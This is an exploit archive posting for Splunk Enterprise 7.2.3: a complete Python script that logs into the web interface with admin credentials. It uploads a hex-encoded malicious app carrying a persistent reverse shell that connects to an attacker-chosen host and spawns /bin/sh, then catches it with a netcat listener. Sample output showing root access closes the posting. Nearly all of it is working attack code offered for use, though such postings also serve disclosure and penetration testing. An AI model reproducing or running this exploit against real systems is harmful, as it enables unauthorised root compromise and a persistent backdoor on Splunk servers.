what you don't know can hurt you

Splunk Enterprise 7.2.3 Command Execution

Splunk Enterprise 7.2.3 Command Execution
Posted Jan 24, 2019
Authored by Lee Mazzoleni

Splunk Enterprise version 7.2.3 authenticated remote reverse shell code execution exploit.

tags | exploit, remote, shell, code execution
MD5 | df373c09f1ec13bc91f5b1af385b3c67

Splunk Enterprise 7.2.3 Command Execution

Change Mirror Download
#!/usr/bin/python

# Exploit Title: Splunk Enterprise 7.2.3 Custom App RCE (persistent backdoor)
# Date: January 23, 2019
# Exploit Author: Lee Mazzoleni
# Vendor Homepage: https://www.splunk.com/
# Software Link: https://www.splunk.com/en_us/download/splunk-enterprise.html
# Version: 7.2.3
# Tested on: kali 4.18.0-kali2-amd64
# CVE : n/a

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from time import sleep
from sys import stdout,argv
from os import getcwd,path,system
from subprocess import Popen

# Download and unpack the correct version for your OS from here: github.com/mozilla/geckodriver/releases
gecko_driver_path = '/root/Desktop/SplunkSploit/Gecko/geckodriver'

def checkLogin(url):
if '/login' not in url and '/logout' not in url:
print 'Login successful!'
else:
print 'Login failed! Aborting...'
exit()


def checkUrl(url):
if '_upload' not in url:
print '[-] Navigation error, aborting...'
exit()


def exploit(splunk_target_url, splunk_admin_user, splunk_admin_pass, lport):
print '[+] Starting bot ...'
profile = webdriver.FirefoxProfile()
profile.accept_untrusted_certs = True
driver = webdriver.Firefox(firefox_profile=profile, executable_path=gecko_driver_path)

print '[*] Loading the target page ...'
driver.get(splunk_target_url)
sleep(1)

stdout.write('[*] Attempting to log in with the provided credentials ... ')
username_field = driver.find_element_by_name("username")
username_field.clear()
username_field.send_keys(splunk_admin_user)
sleep(1)

pw_field = driver.find_element_by_name("password")
pw_field.clear()
pw_field.send_keys(splunk_admin_pass)
pw_field.send_keys(Keys.RETURN)
sleep(3)

current_url = driver.current_url
checkLogin(current_url)

url = driver.current_url.split('/')
upload_url = url[0] + '//' + str(url[2]) + '/' + url[3] + '/manager/appinstall/_upload'
print '[*] Navigating to the uploads page ({}) ...'.format(upload_url)
driver.get(upload_url)
sleep(1)

current_url = driver.current_url
checkUrl(current_url)

form = driver.find_element_by_tag_name("form")
input = form.find_element_by_id("appfile")
input.send_keys(getcwd()+'/'+'splunk-shell.tar.gz')
force_update = driver.find_element_by_id("force")
force_update.click()
submit_button = driver.find_element_by_class_name("splButton-primary")
submit_button.click()

print '[*] Your persistent shell has been successfully uploaded!'
driver.quit()
print '[+] Preparing to catch shell ... (this may take up to 1 minute)'
system('nc -lvp {}'.format(lport))


def generatePayload(lhost, lport):
# this hex decodes into the evil splunk app (tar.gz file) that we will be uploading as the payload
# after the app is written to disk, a reverse shell is created and added to the app (it uses the user-supplied lhost and lport parameters to create the shell)
# the app configuration sets it to be enabled upon installation (restarting splunk / manually enabling it is not required.)
# this is a PERSISTENT backdoor, there is no need to re-upload multiple times... the backdoor will reconnect every 10-20 seconds
print '[*] Creating Splunk App...'
shell = '1f8b080030e9485c0003ed5b6b6fdb3614cd67fd0a221e9036ab65bd95b87b206b332c5830144bda0e705d8396689b8b446aa214271bf6df7749d9895f8993d451da95e7432c91145f87e7f25e89115952b2b3a6189124696d3d0e2c40e8fbea17b0f8abae6dd7731c3b702c1fd26dc70ead2de43f527fe6508a02e7086de59c17b7955b97ff8542ccf29ff0083fc22a50fc2ff37e0bffaee36bfe6bc10afe7196991167838db521090e6ee11fb85fe0df0bc2700b591bebc12df8caf9ef50061390245d037e0a82be4784e17e4262c3e894b46b50d13ba782420a64d99098e09245239277e13ac3d1191e92ae0109d1596fc0f35e99c5508d50859f7a6c1aeb31a7ff3e658fe103dc63fff71cdf95fb7fe885dafed78139fe535260902fdef022b8bfffe7867affaf07abf98fc900974961ca844f6f4312ec79de8dfcbbaebbc07fe078b6deffeb40a76be0282242eed839c1316aa30eda45dd17689c53f00726b772b3cf79265a82b038c53469750d7291f1bc80e7c4a528486af0312339dc32dee7f1a561341a0df4eee8f0fdc9e9c1e9e1491b9173c220334f71824a417281c48897498cfa04499703151c45d00768558c704e62744ec958b92502dabfbeb963979f7a6abf08acd6bf0a0436a4fef5fe7fe8840bfaf743dbd2faaf031d88f65a931860fadb13bccc23d2535ebd28d3ae710e6aa59c81e042d3315d23e57141531512f89ebfef04e19e65865610ec419c6f8158676b55a2bd531da1e9eebbaee35475dc51e68b66686d3b7bbe6beefb76e8dad77d95a1ceba07617c96e9d976b01f5c3f781d0e4dcd1f8e53caee5a99ebb87bd7954de2a9d6523875e7ce795635aa3bf33fa77fe803d865686ab30ee0fdfd3fcf0eb5ff5f0b6ee05f6a96461b5a06f7e7dff78240f35f076ee71f12121ac125676624c403db58e3ffbb8ee7ccf32fff3a7affaf03ad5df46a84d910bcef11b8e15986123ee408763462222448a1d247840e47456b4ce36284605f4297e021209ac266f5026181c6b07ae4af2c9b612803aebcbc5625d06ecb30a1e66359f13f060254f5b591e766172f914a5275b7d19e05292aa10f9be130e7258bdba8cc9367d33549d3614b9c8173318d525bd51aeec98ef7fa093c66666cf81c428d664e3288279085acaacedea7543aa483a54aff350c98c1d3326708366739e4c9f328e3824add5036447ca0b2b64f549de80d1fc3f4c6db73532d27a96a73923d335daddd5df50ba5d05b16f13425ac2266c093848f651b096544a067630ab3bf1353a80a5fee2019b491bca0443c979c40c03556cfa996659b55f568f2401b3553fe779332595b13e6263aab26ee2a7f92d58708e1eca5ac60a983aadfaa1be391f4d30a72515c65a2262a670720207fccd1ce352fb37d46742057da4e0ca33b83d589e627b01ac5425333839a215b72bdbd96ecacaab7225d552957d2f62ceb22ca61ca25f9a8c831131904aaac585e5d0f6e1056d95d1a8461ca214a2d1e1d063359d1a5cc0218577f56b3a316f53c3b8f4fcec6d8b9d2795dec5cd9804db333b1858e3b357c29ce8794350b9eb5edabc4ca3c06bebcaf8c8e514a7e465448614ff4a9b4cd30c405139323bfe55525956cabb6e40338fe13763e84133a648a6fc5941ca909c41a74b0aa2a048d517665405e4c3788b93eb4617a187909a39bd8fd5f207823f9fb1c2e21401ad913a316f184e7ed46e862df9f98e7993e4ef60618eb53ef90ff6f2c7cff1d8a47f800f480f7fff293b0f6ff6bc032fff2ed2e5c6cb08d75efff2dcb5e8cffbd50bfffab05dabc7eddb851ffa6bdb1361ea0ffc0d1e77f6a81d6ffd78d39fd4fe39f0db7f100ff2fb0b5ff570b56f2af3ef56fee0ce83afb6f078bf6df0f1cfdfeb7163420ec7e37f9b6587d596c74a6673cba46e3e7a3c3e3d707c7470727cd540c698cbe4729fc3d3841ead6681cfe71fafbc1abd3e65f2a6ffa64e7e3876e77f743b7fd417cfbecc7ef20f387cec77677f7795bef379f1756ea7fc327c0a5c66f3bffe1848be7bf7dc70db4feebc0acfe6dd3322da3317d912b5ff8c955408765ae3e01a2014d88612c1f198fa9a8ce8cdf7080048a387b83fd20d8b78965937ee0c5b11b39837e1085180ff62c2f8afca88ffbcefeaa63e7039c086224b84f126963e4526d42e7b429d90056ea9fb2ac2c36e700acddffc3a5f39ff080d67f1d58a5ff57ea10a6409821b512d4770c81d30cd4288f079a205211e5342bdaad96a9fe6b40ad1f33bbec1a535b004ab5c01e14243fc709b22da3b209c565a6245d322ddfcf0137e83f2617646306609dfe9d65fddbdaffaf074bfa37670dc054f56a41ac3003102ba87b8814463c256fe4d10f04f2fee6e4cdf1dbdf7eedbdfea9551568c57da311f124bea588cc96c58a111e93aae0aa625536147ceaa9d3d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0f8ecf11f88a26c5b00500000'
bytes = shell.decode('hex')
f = open('splunk-shell.tar.gz','wb')
f.write(bytes)
f.close()
print '\t==> Adding reverse shell (to {}:{}) to the app...'.format(lhost,lport)
f = open('shell.py','w')
f.write('import sys,socket,os,pty\n')
f.write('ip="{}"\n'.format(lhost))
f.write('port="{}"\n'.format(lport))
f.write('s=socket.socket()\n')
f.write('s.connect((ip,int(port)))\n')
f.write('[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\n')
f.write('pty.spawn("/bin/sh")\n')
f.close()
decompress_cmd = 'tar zxvf splunk-shell.tar.gz &>/dev/null; rm splunk-shell.tar.gz'
p = Popen(decompress_cmd, shell=True, executable='/bin/bash')
p.wait()
move_cmd = 'mv shell.py splunk-shell/bin/'
p = Popen(move_cmd, shell=True, executable='/bin/bash')
p.wait()
compress_cmd = 'tar zcvf splunk-shell.tar.gz splunk-shell/ &>/dev/null; rm -r splunk-shell/'
p = Popen(compress_cmd, shell=True, executable='/bin/bash')
p.wait()
if path.isfile('splunk-shell.tar.gz'):
print '\t==> Payload Ready! (splunk-shell.tar.gz)'


def showUsage():
print '\n\tScript Usage: {} <targetUrl> <username> <password> <lhost> <lport>'.format(argv[0])
print '\tExample: {} http://192.168.4.16:8000 admin changeme 192.168.4.5 4444\n'.format(argv[0])


if len(argv) != 6:
showUsage()
exit()

if not path.isfile(gecko_driver_path):
print '\n\t[!] This program requires geckodriver, download the corresponding version for your OS from the following link:'
print '\t\t==> https://github.com/mozilla/geckodriver/releases'
print '\n\t[!] Extract the geckodriver binary, then add its full path to line 20 of this script.'
print '\t\t==> gecko_driver_path = "/tmp/geckodriver"\n'
exit()

splunk_target_url = argv[1]
splunk_admin_user = argv[2]
splunk_admin_pass = argv[3]
lhost = argv[4]
lport = argv[5]
generatePayload(lhost, lport)
exploit(splunk_target_url, splunk_admin_user, splunk_admin_pass, lport)






####################
## SCRIPT OUTPUT: ##
####################
# root@kali:~/SplunkSploit# python splunksploit.py
#
# Script Usage: splunksploit.py <targetUrl> <username> <password> <lhost> <lport>
# Example: splunksploit.py http://192.168.4.16:8000 admin changeme 192.168.4.5 4444
#
# root@kali:~/SplunkSploit# python splunksploit.py http://172.16.224.194:8000/ admin changeme 172.16.224.190 4444
# [*] Creating Splunk App...
# ==> Adding reverse shell (to 172.16.224.190:4444) to the app...
# ==> Payload Ready! (splunk-shell.tar.gz)
# [+] Starting bot ...
# [*] Loading the target page ...
# [*] Attempting to log in with the provided credentials ... Login successful!
# [*] Navigating to the uploads page (http://172.16.224.194:8000/en-US/manager/appinstall/_upload) ...
# [*] Your persistent shell has been successfully uploaded!
# [+] Preparing to catch shell ... (this may take up to 1 minute)
# Ncat: Version 7.70 ( https://nmap.org/ncat )
# Ncat: Listening on :::4444
# Ncat: Listening on 0.0.0.0:4444
# Ncat: Connection from 172.16.224.195.
# Ncat: Connection from 172.16.224.195:48902.
# # whoami
# whoami
# root

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